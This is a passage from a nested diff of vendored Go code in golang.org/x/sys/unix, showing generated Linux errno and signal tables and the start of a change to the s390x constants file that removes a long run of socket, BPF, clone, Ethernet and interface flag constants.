-+ SIGSTOP = syscall.Signal(0x13)
-+ SIGSYS = syscall.Signal(0x1f)
-+ SIGTSTP = syscall.Signal(0x14)
-+ SIGTTIN = syscall.Signal(0x15)
-+ SIGTTOU = syscall.Signal(0x16)
-+ SIGURG = syscall.Signal(0x17)
-+ SIGUSR1 = syscall.Signal(0xa)
-+ SIGUSR2 = syscall.Signal(0xc)
-+ SIGVTALRM = syscall.Signal(0x1a)
-+ SIGWINCH = syscall.Signal(0x1c)
-+ SIGXCPU = syscall.Signal(0x18)
-+ SIGXFSZ = syscall.Signal(0x19)
-+)
-+
-+// Error table
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device or resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "invalid cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "numerical result out of range"},
-+ {35, "EDEADLK", "resource deadlock avoided"},
-+ {36, "ENAMETOOLONG", "file name too long"},
-+ {37, "ENOLCK", "no locks available"},
-+ {38, "ENOSYS", "function not implemented"},
-+ {39, "ENOTEMPTY", "directory not empty"},
-+ {40, "ELOOP", "too many levels of symbolic links"},
-+ {42, "ENOMSG", "no message of desired type"},
-+ {43, "EIDRM", "identifier removed"},
-+ {44, "ECHRNG", "channel number out of range"},
-+ {45, "EL2NSYNC", "level 2 not synchronized"},
-+ {46, "EL3HLT", "level 3 halted"},
-+ {47, "EL3RST", "level 3 reset"},
-+ {48, "ELNRNG", "link number out of range"},
-+ {49, "EUNATCH", "protocol driver not attached"},
-+ {50, "ENOCSI", "no CSI structure available"},
-+ {51, "EL2HLT", "level 2 halted"},
-+ {52, "EBADE", "invalid exchange"},
-+ {53, "EBADR", "invalid request descriptor"},
-+ {54, "EXFULL", "exchange full"},
-+ {55, "ENOANO", "no anode"},
-+ {56, "EBADRQC", "invalid request code"},
-+ {57, "EBADSLT", "invalid slot"},
-+ {59, "EBFONT", "bad font file format"},
-+ {60, "ENOSTR", "device not a stream"},
-+ {61, "ENODATA", "no data available"},
-+ {62, "ETIME", "timer expired"},
-+ {63, "ENOSR", "out of streams resources"},
-+ {64, "ENONET", "machine is not on the network"},
-+ {65, "ENOPKG", "package not installed"},
-+ {66, "EREMOTE", "object is remote"},
-+ {67, "ENOLINK", "link has been severed"},
-+ {68, "EADV", "advertise error"},
-+ {69, "ESRMNT", "srmount error"},
-+ {70, "ECOMM", "communication error on send"},
-+ {71, "EPROTO", "protocol error"},
-+ {72, "EMULTIHOP", "multihop attempted"},
-+ {73, "EDOTDOT", "RFS specific error"},
-+ {74, "EBADMSG", "bad message"},
-+ {75, "EOVERFLOW", "value too large for defined data type"},
-+ {76, "ENOTUNIQ", "name not unique on network"},
-+ {77, "EBADFD", "file descriptor in bad state"},
-+ {78, "EREMCHG", "remote address changed"},
-+ {79, "ELIBACC", "can not access a needed shared library"},
-+ {80, "ELIBBAD", "accessing a corrupted shared library"},
-+ {81, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {82, "ELIBMAX", "attempting to link in too many shared libraries"},
-+ {83, "ELIBEXEC", "cannot exec a shared library directly"},
-+ {84, "EILSEQ", "invalid or incomplete multibyte or wide character"},
-+ {85, "ERESTART", "interrupted system call should be restarted"},
-+ {86, "ESTRPIPE", "streams pipe error"},
-+ {87, "EUSERS", "too many users"},
-+ {88, "ENOTSOCK", "socket operation on non-socket"},
-+ {89, "EDESTADDRREQ", "destination address required"},
-+ {90, "EMSGSIZE", "message too long"},
-+ {91, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {92, "ENOPROTOOPT", "protocol not available"},
-+ {93, "EPROTONOSUPPORT", "protocol not supported"},
-+ {94, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {95, "ENOTSUP", "operation not supported"},
-+ {96, "EPFNOSUPPORT", "protocol family not supported"},
-+ {97, "EAFNOSUPPORT", "address family not supported by protocol"},
-+ {98, "EADDRINUSE", "address already in use"},
-+ {99, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {100, "ENETDOWN", "network is down"},
-+ {101, "ENETUNREACH", "network is unreachable"},
-+ {102, "ENETRESET", "network dropped connection on reset"},
-+ {103, "ECONNABORTED", "software caused connection abort"},
-+ {104, "ECONNRESET", "connection reset by peer"},
-+ {105, "ENOBUFS", "no buffer space available"},
-+ {106, "EISCONN", "transport endpoint is already connected"},
-+ {107, "ENOTCONN", "transport endpoint is not connected"},
-+ {108, "ESHUTDOWN", "cannot send after transport endpoint shutdown"},
-+ {109, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {110, "ETIMEDOUT", "connection timed out"},
-+ {111, "ECONNREFUSED", "connection refused"},
-+ {112, "EHOSTDOWN", "host is down"},
-+ {113, "EHOSTUNREACH", "no route to host"},
-+ {114, "EALREADY", "operation already in progress"},
-+ {115, "EINPROGRESS", "operation now in progress"},
-+ {116, "ESTALE", "stale file handle"},
-+ {117, "EUCLEAN", "structure needs cleaning"},
-+ {118, "ENOTNAM", "not a XENIX named type file"},
-+ {119, "ENAVAIL", "no XENIX semaphores available"},
-+ {120, "EISNAM", "is a named type file"},
-+ {121, "EREMOTEIO", "remote I/O error"},
-+ {122, "EDQUOT", "disk quota exceeded"},
-+ {123, "ENOMEDIUM", "no medium found"},
-+ {124, "EMEDIUMTYPE", "wrong medium type"},
-+ {125, "ECANCELED", "operation canceled"},
-+ {126, "ENOKEY", "required key not available"},
-+ {127, "EKEYEXPIRED", "key has expired"},
-+ {128, "EKEYREVOKED", "key has been revoked"},
-+ {129, "EKEYREJECTED", "key was rejected by service"},
-+ {130, "EOWNERDEAD", "owner died"},
-+ {131, "ENOTRECOVERABLE", "state not recoverable"},
-+ {132, "ERFKILL", "operation not possible due to RF-kill"},
-+ {133, "EHWPOISON", "memory page has hardware error"},
-+}
-+
-+// Signal table
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/breakpoint trap"},
-+ {6, "SIGABRT", "aborted"},
-+ {7, "SIGBUS", "bus error"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGUSR1", "user defined signal 1"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGUSR2", "user defined signal 2"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGSTKFLT", "stack fault"},
-+ {17, "SIGCHLD", "child exited"},
-+ {18, "SIGCONT", "continued"},
-+ {19, "SIGSTOP", "stopped (signal)"},
-+ {20, "SIGTSTP", "stopped"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGURG", "urgent I/O condition"},
-+ {24, "SIGXCPU", "CPU time limit exceeded"},
-+ {25, "SIGXFSZ", "file size limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window changed"},
-+ {29, "SIGIO", "I/O possible"},
-+ {30, "SIGPWR", "power failure"},
-+ {31, "SIGSYS", "bad system call"},
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_s390x.go b/vendor/golang.org/x/sys/unix/zerrors_linux_s390x.go
-index 3b570754..95e950fc 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_linux_s390x.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux_s390x.go
-@@ -3,7 +3,7 @@
-
- // +build s390x,linux
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -Wall -Werror -static -I/tmp/include -fsigned-char _const.go
-
- package unix
-@@ -11,1930 +11,547 @@ package unix
- import "syscall"
-
- const (
-- AF_ALG = 0x26
-- AF_APPLETALK = 0x5
-- AF_ASH = 0x12
-- AF_ATMPVC = 0x8
-- AF_ATMSVC = 0x14
-- AF_AX25 = 0x3
-- AF_BLUETOOTH = 0x1f
-- AF_BRIDGE = 0x7
-- AF_CAIF = 0x25
-- AF_CAN = 0x1d
-- AF_DECnet = 0xc
-- AF_ECONET = 0x13
-- AF_FILE = 0x1
-- AF_IB = 0x1b
-- AF_IEEE802154 = 0x24
-- AF_INET = 0x2
-- AF_INET6 = 0xa
-- AF_IPX = 0x4
-- AF_IRDA = 0x17
-- AF_ISDN = 0x22
-- AF_IUCV = 0x20
-- AF_KCM = 0x29
-- AF_KEY = 0xf
-- AF_LLC = 0x1a
-- AF_LOCAL = 0x1
-- AF_MAX = 0x2b
-- AF_MPLS = 0x1c
-- AF_NETBEUI = 0xd
-- AF_NETLINK = 0x10
-- AF_NETROM = 0x6
-- AF_NFC = 0x27
-- AF_PACKET = 0x11
-- AF_PHONET = 0x23
-- AF_PPPOX = 0x18
-- AF_QIPCRTR = 0x2a
-- AF_RDS = 0x15
-- AF_ROSE = 0xb
-- AF_ROUTE = 0x10
-- AF_RXRPC = 0x21
-- AF_SECURITY = 0xe
-- AF_SNA = 0x16
-- AF_TIPC = 0x1e
-- AF_UNIX = 0x1
-- AF_UNSPEC = 0x0
-- AF_VSOCK = 0x28
-- AF_WANPIPE = 0x19
-- AF_X25 = 0x9
-- ALG_OP_DECRYPT = 0x0
-- ALG_OP_ENCRYPT = 0x1
-- ALG_SET_AEAD_ASSOCLEN = 0x4
-- ALG_SET_AEAD_AUTHSIZE = 0x5
-- ALG_SET_IV = 0x2
-- ALG_SET_KEY = 0x1
-- ALG_SET_OP = 0x3
-- ARPHRD_6LOWPAN = 0x339
-- ARPHRD_ADAPT = 0x108
-- ARPHRD_APPLETLK = 0x8
-- ARPHRD_ARCNET = 0x7
-- ARPHRD_ASH = 0x30d
-- ARPHRD_ATM = 0x13
-- ARPHRD_AX25 = 0x3
-- ARPHRD_BIF = 0x307
-- ARPHRD_CAIF = 0x336
-- ARPHRD_CAN = 0x118
-- ARPHRD_CHAOS = 0x5
-- ARPHRD_CISCO = 0x201
-- ARPHRD_CSLIP = 0x101
-- ARPHRD_CSLIP6 = 0x103
-- ARPHRD_DDCMP = 0x205
-- ARPHRD_DLCI = 0xf
-- ARPHRD_ECONET = 0x30e
-- ARPHRD_EETHER = 0x2
-- ARPHRD_ETHER = 0x1
-- ARPHRD_EUI64 = 0x1b
-- ARPHRD_FCAL = 0x311
-- ARPHRD_FCFABRIC = 0x313
-- ARPHRD_FCPL = 0x312
-- ARPHRD_FCPP = 0x310
-- ARPHRD_FDDI = 0x306
-- ARPHRD_FRAD = 0x302
-- ARPHRD_HDLC = 0x201
-- ARPHRD_HIPPI = 0x30c
-- ARPHRD_HWX25 = 0x110
-- ARPHRD_IEEE1394 = 0x18
-- ARPHRD_IEEE802 = 0x6
-- ARPHRD_IEEE80211 = 0x321
-- ARPHRD_IEEE80211_PRISM = 0x322
-- ARPHRD_IEEE80211_RADIOTAP = 0x323
-- ARPHRD_IEEE802154 = 0x324
-- ARPHRD_IEEE802154_MONITOR = 0x325
-- ARPHRD_IEEE802_TR = 0x320
-- ARPHRD_INFINIBAND = 0x20
-- ARPHRD_IP6GRE = 0x337
-- ARPHRD_IPDDP = 0x309
-- ARPHRD_IPGRE = 0x30a
-- ARPHRD_IRDA = 0x30f
-- ARPHRD_LAPB = 0x204
-- ARPHRD_LOCALTLK = 0x305
-- ARPHRD_LOOPBACK = 0x304
-- ARPHRD_METRICOM = 0x17
-- ARPHRD_NETLINK = 0x338
-- ARPHRD_NETROM = 0x0
-- ARPHRD_NONE = 0xfffe
-- ARPHRD_PHONET = 0x334
-- ARPHRD_PHONET_PIPE = 0x335
-- ARPHRD_PIMREG = 0x30b
-- ARPHRD_PPP = 0x200
-- ARPHRD_PRONET = 0x4
-- ARPHRD_RAWHDLC = 0x206
-- ARPHRD_ROSE = 0x10e
-- ARPHRD_RSRVD = 0x104
-- ARPHRD_SIT = 0x308
-- ARPHRD_SKIP = 0x303
-- ARPHRD_SLIP = 0x100
-- ARPHRD_SLIP6 = 0x102
-- ARPHRD_TUNNEL = 0x300
-- ARPHRD_TUNNEL6 = 0x301
-- ARPHRD_VOID = 0xffff
-- ARPHRD_X25 = 0x10f
-- B0 = 0x0
-- B1000000 = 0x1008
-- B110 = 0x3
-- B115200 = 0x1002
-- B1152000 = 0x1009
-- B1200 = 0x9
-- B134 = 0x4
-- B150 = 0x5
-- B1500000 = 0x100a
-- B1800 = 0xa
-- B19200 = 0xe
-- B200 = 0x6
-- B2000000 = 0x100b
-- B230400 = 0x1003
-- B2400 = 0xb
-- B2500000 = 0x100c
-- B300 = 0x7
-- B3000000 = 0x100d
-- B3500000 = 0x100e
-- B38400 = 0xf
-- B4000000 = 0x100f
-- B460800 = 0x1004
-- B4800 = 0xc
-- B50 = 0x1
-- B500000 = 0x1005
-- B57600 = 0x1001
-- B576000 = 0x1006
-- B600 = 0x8
-- B75 = 0x2
-- B921600 = 0x1007
-- B9600 = 0xd
-- BLKBSZGET = 0x80081270
-- BLKBSZSET = 0x40081271
-- BLKFLSBUF = 0x1261
-- BLKFRAGET = 0x1265
-- BLKFRASET = 0x1264
-- BLKGETSIZE = 0x1260
-- BLKGETSIZE64 = 0x80081272
-- BLKPBSZGET = 0x127b
-- BLKRAGET = 0x1263
-- BLKRASET = 0x1262
-- BLKROGET = 0x125e
-- BLKROSET = 0x125d
-- BLKRRPART = 0x125f
-- BLKSECTGET = 0x1267
-- BLKSECTSET = 0x1266
-- BLKSSZGET = 0x1268
-- BOTHER = 0x1000
-- BPF_A = 0x10
-- BPF_ABS = 0x20
-- BPF_ADD = 0x0
-- BPF_ALU = 0x4
-- BPF_AND = 0x50
-- BPF_B = 0x10
-- BPF_DIV = 0x30
-- BPF_H = 0x8
-- BPF_IMM = 0x0
-- BPF_IND = 0x40
-- BPF_JA = 0x0
-- BPF_JEQ = 0x10
-- BPF_JGE = 0x30
-- BPF_JGT = 0x20
-- BPF_JMP = 0x5
-- BPF_JSET = 0x40
-- BPF_K = 0x0
-- BPF_LD = 0x0
-- BPF_LDX = 0x1
-- BPF_LEN = 0x80
-- BPF_LL_OFF = -0x200000
-- BPF_LSH = 0x60
-- BPF_MAJOR_VERSION = 0x1
-- BPF_MAXINSNS = 0x1000
-- BPF_MEM = 0x60
-- BPF_MEMWORDS = 0x10
-- BPF_MINOR_VERSION = 0x1
-- BPF_MISC = 0x7
-- BPF_MOD = 0x90
-- BPF_MSH = 0xa0
-- BPF_MUL = 0x20
-- BPF_NEG = 0x80
-- BPF_NET_OFF = -0x100000
-- BPF_OR = 0x40
-- BPF_RET = 0x6
-- BPF_RSH = 0x70
-- BPF_ST = 0x2
-- BPF_STX = 0x3
-- BPF_SUB = 0x10
-- BPF_TAX = 0x0
-- BPF_TXA = 0x80
-- BPF_W = 0x0
-- BPF_X = 0x8
-- BPF_XOR = 0xa0
-- BRKINT = 0x2
-- BS0 = 0x0
-- BS1 = 0x2000
-- BSDLY = 0x2000
-- CAN_BCM = 0x2
-- CAN_EFF_FLAG = 0x80000000
-- CAN_EFF_ID_BITS = 0x1d
-- CAN_EFF_MASK = 0x1fffffff
-- CAN_ERR_FLAG = 0x20000000
-- CAN_ERR_MASK = 0x1fffffff
-- CAN_INV_FILTER = 0x20000000
-- CAN_ISOTP = 0x6
-- CAN_MAX_DLC = 0x8
-- CAN_MAX_DLEN = 0x8
-- CAN_MCNET = 0x5
-- CAN_MTU = 0x10
-- CAN_NPROTO = 0x7
-- CAN_RAW = 0x1
-- CAN_RAW_FILTER_MAX = 0x200
-- CAN_RTR_FLAG = 0x40000000
-- CAN_SFF_ID_BITS = 0xb
-- CAN_SFF_MASK = 0x7ff
-- CAN_TP16 = 0x3
-- CAN_TP20 = 0x4
-- CBAUD = 0x100f
-- CBAUDEX = 0x1000
-- CFLUSH = 0xf
-- CIBAUD = 0x100f0000
-- CLOCAL = 0x800
-- CLOCK_BOOTTIME = 0x7
-- CLOCK_BOOTTIME_ALARM = 0x9
-- CLOCK_DEFAULT = 0x0
-- CLOCK_EXT = 0x1
-- CLOCK_INT = 0x2
-- CLOCK_MONOTONIC = 0x1
-- CLOCK_MONOTONIC_COARSE = 0x6
-- CLOCK_MONOTONIC_RAW = 0x4
-- CLOCK_PROCESS_CPUTIME_ID = 0x2
-- CLOCK_REALTIME = 0x0
-- CLOCK_REALTIME_ALARM = 0x8
-- CLOCK_REALTIME_COARSE = 0x5
-- CLOCK_TAI = 0xb
-- CLOCK_THREAD_CPUTIME_ID = 0x3
-- CLOCK_TXFROMRX = 0x4
-- CLOCK_TXINT = 0x3
-- CLONE_CHILD_CLEARTID = 0x200000
-- CLONE_CHILD_SETTID = 0x1000000
-- CLONE_DETACHED = 0x400000
-- CLONE_FILES = 0x400
-- CLONE_FS = 0x200
-- CLONE_IO = 0x80000000
-- CLONE_NEWCGROUP = 0x2000000
-- CLONE_NEWIPC = 0x8000000
-- CLONE_NEWNET = 0x40000000
-- CLONE_NEWNS = 0x20000
-- CLONE_NEWPID = 0x20000000
-- CLONE_NEWUSER = 0x10000000
-- CLONE_NEWUTS = 0x4000000
-- CLONE_PARENT = 0x8000
-- CLONE_PARENT_SETTID = 0x100000
-- CLONE_PTRACE = 0x2000
-- CLONE_SETTLS = 0x80000
-- CLONE_SIGHAND = 0x800
-- CLONE_SYSVSEM = 0x40000
-- CLONE_THREAD = 0x10000
-- CLONE_UNTRACED = 0x800000
-- CLONE_VFORK = 0x4000
-- CLONE_VM = 0x100
-- CMSPAR = 0x40000000
-- CR0 = 0x0
-- CR1 = 0x200
-- CR2 = 0x400
-- CR3 = 0x600
-- CRDLY = 0x600
-- CREAD = 0x80
-- CRTSCTS = 0x80000000
-- CS5 = 0x0
-- CS6 = 0x10
-- CS7 = 0x20
-- CS8 = 0x30
-- CSIGNAL = 0xff
-- CSIZE = 0x30
-- CSTART = 0x11
-- CSTATUS = 0x0
-- CSTOP = 0x13
-- CSTOPB = 0x40
-- CSUSP = 0x1a
-- DT_BLK = 0x6
-- DT_CHR = 0x2
-- DT_DIR = 0x4
-- DT_FIFO = 0x1
-- DT_LNK = 0xa
-- DT_REG = 0x8
-- DT_SOCK = 0xc
-- DT_UNKNOWN = 0x0
-- DT_WHT = 0xe
-- ECHO = 0x8
-- ECHOCTL = 0x200
-- ECHOE = 0x10
-- ECHOK = 0x20
-- ECHOKE = 0x800
-- ECHONL = 0x40
-- ECHOPRT = 0x400
-- EFD_CLOEXEC = 0x80000
-- EFD_NONBLOCK = 0x800
-- EFD_SEMAPHORE = 0x1
-- ENCODING_DEFAULT = 0x0
-- ENCODING_FM_MARK = 0x3
-- ENCODING_FM_SPACE = 0x4
-- ENCODING_MANCHESTER = 0x5
-- ENCODING_NRZ = 0x1
-- ENCODING_NRZI = 0x2
-- EPOLLERR = 0x8
-- EPOLLET = 0x80000000
-- EPOLLEXCLUSIVE = 0x10000000
-- EPOLLHUP = 0x10
-- EPOLLIN = 0x1
-- EPOLLMSG = 0x400
-- EPOLLONESHOT = 0x40000000
-- EPOLLOUT = 0x4
-- EPOLLPRI = 0x2
-- EPOLLRDBAND = 0x80
-- EPOLLRDHUP = 0x2000
-- EPOLLRDNORM = 0x40
-- EPOLLWAKEUP = 0x20000000
-- EPOLLWRBAND = 0x200
-- EPOLLWRNORM = 0x100
-- EPOLL_CLOEXEC = 0x80000
-- EPOLL_CTL_ADD = 0x1
-- EPOLL_CTL_DEL = 0x2
-- EPOLL_CTL_MOD = 0x3
-- ETH_P_1588 = 0x88f7
-- ETH_P_8021AD = 0x88a8
-- ETH_P_8021AH = 0x88e7
-- ETH_P_8021Q = 0x8100
-- ETH_P_80221 = 0x8917
-- ETH_P_802_2 = 0x4
-- ETH_P_802_3 = 0x1
-- ETH_P_802_3_MIN = 0x600
-- ETH_P_802_EX1 = 0x88b5
-- ETH_P_AARP = 0x80f3
-- ETH_P_AF_IUCV = 0xfbfb
-- ETH_P_ALL = 0x3
-- ETH_P_AOE = 0x88a2
-- ETH_P_ARCNET = 0x1a
-- ETH_P_ARP = 0x806
-- ETH_P_ATALK = 0x809b
-- ETH_P_ATMFATE = 0x8884
-- ETH_P_ATMMPOA = 0x884c
-- ETH_P_AX25 = 0x2
-- ETH_P_BATMAN = 0x4305
-- ETH_P_BPQ = 0x8ff
-- ETH_P_CAIF = 0xf7
-- ETH_P_CAN = 0xc
-- ETH_P_CANFD = 0xd
-- ETH_P_CONTROL = 0x16
-- ETH_P_CUST = 0x6006
-- ETH_P_DDCMP = 0x6
-- ETH_P_DEC = 0x6000
-- ETH_P_DIAG = 0x6005
-- ETH_P_DNA_DL = 0x6001
-- ETH_P_DNA_RC = 0x6002
-- ETH_P_DNA_RT = 0x6003
-- ETH_P_DSA = 0x1b
-- ETH_P_ECONET = 0x18
-- ETH_P_EDSA = 0xdada
-- ETH_P_FCOE = 0x8906
-- ETH_P_FIP = 0x8914
-- ETH_P_HDLC = 0x19
-- ETH_P_HSR = 0x892f
-- ETH_P_IEEE802154 = 0xf6
-- ETH_P_IEEEPUP = 0xa00
-- ETH_P_IEEEPUPAT = 0xa01
-- ETH_P_IP = 0x800
-- ETH_P_IPV6 = 0x86dd
-- ETH_P_IPX = 0x8137
-- ETH_P_IRDA = 0x17
-- ETH_P_LAT = 0x6004
-- ETH_P_LINK_CTL = 0x886c
-- ETH_P_LOCALTALK = 0x9
-- ETH_P_LOOP = 0x60
-- ETH_P_LOOPBACK = 0x9000
-- ETH_P_MACSEC = 0x88e5
-- ETH_P_MOBITEX = 0x15
-- ETH_P_MPLS_MC = 0x8848
-- ETH_P_MPLS_UC = 0x8847
-- ETH_P_MVRP = 0x88f5
-- ETH_P_NCSI = 0x88f8
-- ETH_P_PAE = 0x888e
-- ETH_P_PAUSE = 0x8808
-- ETH_P_PHONET = 0xf5
-- ETH_P_PPPTALK = 0x10
-- ETH_P_PPP_DISC = 0x8863
-- ETH_P_PPP_MP = 0x8
-- ETH_P_PPP_SES = 0x8864
-- ETH_P_PRP = 0x88fb
-- ETH_P_PUP = 0x200
-- ETH_P_PUPAT = 0x201
-- ETH_P_QINQ1 = 0x9100
-- ETH_P_QINQ2 = 0x9200
-- ETH_P_QINQ3 = 0x9300
-- ETH_P_RARP = 0x8035
-- ETH_P_SCA = 0x6007
-- ETH_P_SLOW = 0x8809
-- ETH_P_SNAP = 0x5
-- ETH_P_TDLS = 0x890d
-- ETH_P_TEB = 0x6558
-- ETH_P_TIPC = 0x88ca
-- ETH_P_TRAILER = 0x1c
-- ETH_P_TR_802_2 = 0x11
-- ETH_P_TSN = 0x22f0
-- ETH_P_WAN_PPP = 0x7
-- ETH_P_WCCP = 0x883e
-- ETH_P_X25 = 0x805
-- ETH_P_XDSA = 0xf8
-- EXTA = 0xe
-- EXTB = 0xf
-- EXTPROC = 0x10000
-- FALLOC_FL_COLLAPSE_RANGE = 0x8
-- FALLOC_FL_INSERT_RANGE = 0x20
-- FALLOC_FL_KEEP_SIZE = 0x1
-- FALLOC_FL_NO_HIDE_STALE = 0x4
-- FALLOC_FL_PUNCH_HOLE = 0x2
-- FALLOC_FL_UNSHARE_RANGE = 0x40
-- FALLOC_FL_ZERO_RANGE = 0x10
-- FD_CLOEXEC = 0x1
-- FD_SETSIZE = 0x400
-- FF0 = 0x0
-- FF1 = 0x8000
-- FFDLY = 0x8000
-- FLUSHO = 0x1000
-- FS_ENCRYPTION_MODE_AES_256_CBC = 0x3
-- FS_ENCRYPTION_MODE_AES_256_CTS = 0x4
-- FS_ENCRYPTION_MODE_AES_256_GCM = 0x2
-- FS_ENCRYPTION_MODE_AES_256_XTS = 0x1
-- FS_ENCRYPTION_MODE_INVALID = 0x0
-- FS_IOC_GET_ENCRYPTION_POLICY = 0x400c6615
-- FS_IOC_GET_ENCRYPTION_PWSALT = 0x40106614
-- FS_IOC_SET_ENCRYPTION_POLICY = 0x800c6613
-- FS_KEY_DESCRIPTOR_SIZE = 0x8
-- FS_KEY_DESC_PREFIX = "fscrypt:"
-- FS_KEY_DESC_PREFIX_SIZE = 0x8
-- FS_MAX_KEY_SIZE = 0x40
-- FS_POLICY_FLAGS_PAD_16 = 0x2
-- FS_POLICY_FLAGS_PAD_32 = 0x3
-- FS_POLICY_FLAGS_PAD_4 = 0x0
-- FS_POLICY_FLAGS_PAD_8 = 0x1
-- FS_POLICY_FLAGS_PAD_MASK = 0x3
-- FS_POLICY_FLAGS_VALID = 0x3
-- F_DUPFD = 0x0
-- F_DUPFD_CLOEXEC = 0x406
-- F_EXLCK = 0x4
-- F_GETFD = 0x1
-- F_GETFL = 0x3
-- F_GETLEASE = 0x401
-- F_GETLK = 0x5
-- F_GETLK64 = 0x5
-- F_GETOWN = 0x9
-- F_GETOWN_EX = 0x10
-- F_GETPIPE_SZ = 0x408
-- F_GETSIG = 0xb
-- F_LOCK = 0x1
-- F_NOTIFY = 0x402
-- F_OFD_GETLK = 0x24
-- F_OFD_SETLK = 0x25
-- F_OFD_SETLKW = 0x26
-- F_OK = 0x0
-- F_RDLCK = 0x0
-- F_SETFD = 0x2
-- F_SETFL = 0x4
-- F_SETLEASE = 0x400
-- F_SETLK = 0x6
-- F_SETLK64 = 0x6
-- F_SETLKW = 0x7
-- F_SETLKW64 = 0x7
-- F_SETOWN = 0x8
-- F_SETOWN_EX = 0xf
-- F_SETPIPE_SZ = 0x407
-- F_SETSIG = 0xa
-- F_SHLCK = 0x8
-- F_TEST = 0x3
-- F_TLOCK = 0x2
-- F_ULOCK = 0x0
-- F_UNLCK = 0x2
-- F_WRLCK = 0x1
-- GENL_ADMIN_PERM = 0x1
-- GENL_CMD_CAP_DO = 0x2
-- GENL_CMD_CAP_DUMP = 0x4
-- GENL_CMD_CAP_HASPOL = 0x8
-- GENL_HDRLEN = 0x4
-- GENL_ID_CTRL = 0x10
-- GENL_ID_PMCRAID = 0x12
-- GENL_ID_VFS_DQUOT = 0x11
-- GENL_MAX_ID = 0x3ff
-- GENL_MIN_ID = 0x10
-- GENL_NAMSIZ = 0x10
-- GENL_START_ALLOC = 0x13
-- GENL_UNS_ADMIN_PERM = 0x10
-- GRND_NONBLOCK = 0x1
-- GRND_RANDOM = 0x2
-- HUPCL = 0x400
-- IBSHIFT = 0x10
-- ICANON = 0x2
-- ICMPV6_FILTER = 0x1
-- ICRNL = 0x100
-- IEXTEN = 0x8000
-- IFA_F_DADFAILED = 0x8
-- IFA_F_DEPRECATED = 0x20
-- IFA_F_HOMEADDRESS = 0x10
-- IFA_F_MANAGETEMPADDR = 0x100
-- IFA_F_MCAUTOJOIN = 0x400
-- IFA_F_NODAD = 0x2
-- IFA_F_NOPREFIXROUTE = 0x200
-- IFA_F_OPTIMISTIC = 0x4
-- IFA_F_PERMANENT = 0x80
-- IFA_F_SECONDARY = 0x1
-- IFA_F_STABLE_PRIVACY = 0x800
-- IFA_F_TEMPORARY = 0x1
-- IFA_F_TENTATIVE = 0x40
-- IFA_MAX = 0x8
-- IFF_ALLMULTI = 0x200
-- IFF_ATTACH_QUEUE = 0x200
-- IFF_AUTOMEDIA = 0x4000
-- IFF_BROADCAST = 0x2
-- IFF_DEBUG = 0x4
-- IFF_DETACH_QUEUE = 0x400
-- IFF_DORMANT = 0x20000
-- IFF_DYNAMIC = 0x8000
-- IFF_ECHO = 0x40000
-- IFF_LOOPBACK = 0x8
-- IFF_LOWER_UP = 0x10000
-- IFF_MASTER = 0x400
-- IFF_MULTICAST = 0x1000
-- IFF_MULTI_QUEUE = 0x100
-- IFF_NOARP = 0x80
-- IFF_NOFILTER = 0x1000
-- IFF_NOTRAILERS = 0x20
-- IFF_NO_PI = 0x1000
-- IFF_ONE_QUEUE = 0x2000
-- IFF_PERSIST = 0x800
-- IFF_POINTOPOINT = 0x10
-- IFF_PORTSEL = 0x2000
-- IFF_PROMISC = 0x100
-- IFF_RUNNING = 0x40
-- IFF_SLAVE = 0x800
-- IFF_TAP = 0x2
-- IFF_TUN = 0x1
-- IFF_TUN_EXCL = 0x8000
-- IFF_UP = 0x1
-- IFF_VNET_HDR = 0x4000
-- IFF_VOLATILE = 0x70c5a
-- IFNAMSIZ = 0x10
-- IGNBRK = 0x1
-- IGNCR = 0x80
-- IGNPAR = 0x4
